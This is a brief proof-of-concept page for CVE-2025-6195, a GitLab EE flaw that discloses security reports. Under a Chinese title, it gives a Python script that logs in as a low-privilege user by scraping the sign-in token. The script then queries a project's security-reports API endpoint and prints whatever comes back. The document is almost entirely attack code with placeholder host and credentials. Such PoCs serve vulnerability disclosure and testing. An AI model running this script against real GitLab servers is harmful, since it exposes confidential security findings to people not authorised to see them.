CVE-2025-6195 GitLab EE 安全报告信息泄露漏洞

# CVE-2025-6195 PoC - GitLab Security Report Information Disclosure # This PoC demonstrates accessing security reports as a low-privilege user import requests GITLAB_URL = "https://gitlab.example.com" PROJECT_ID = "your-project-id" USERNAME = "low-privilege-user" PASSWORD = "password" def login(): """Authenticate to GitLab and get session token""" session = requests.Session() login_url = f"{GITLAB_URL}/users/sign_in" response = session.get(login_url) # Extract authenticity token token = response.text.split('name="authenticity_token"')[1].split('value="')[1].split('"')[0] # Login login_data = { "authenticity_token": token, "user[login]": USERNAME, "user[password]": PASSWORD } session.post(login_url, data=login_data) return session def access_security_reports(session): """Attempt to access security reports as low-privilege user""" # Try to access security reports endpoint security_report_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/security/reports" response = session.get(security_report_url) if response.status_code == 200: print("[+] Successfully accessed security reports!") print(f"[+] Response: {response.json()}") return True else: print(f"[-] Access denied: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-6195 PoC - GitLab Security Report Information Disclosure") session = login() access_security_reports(session)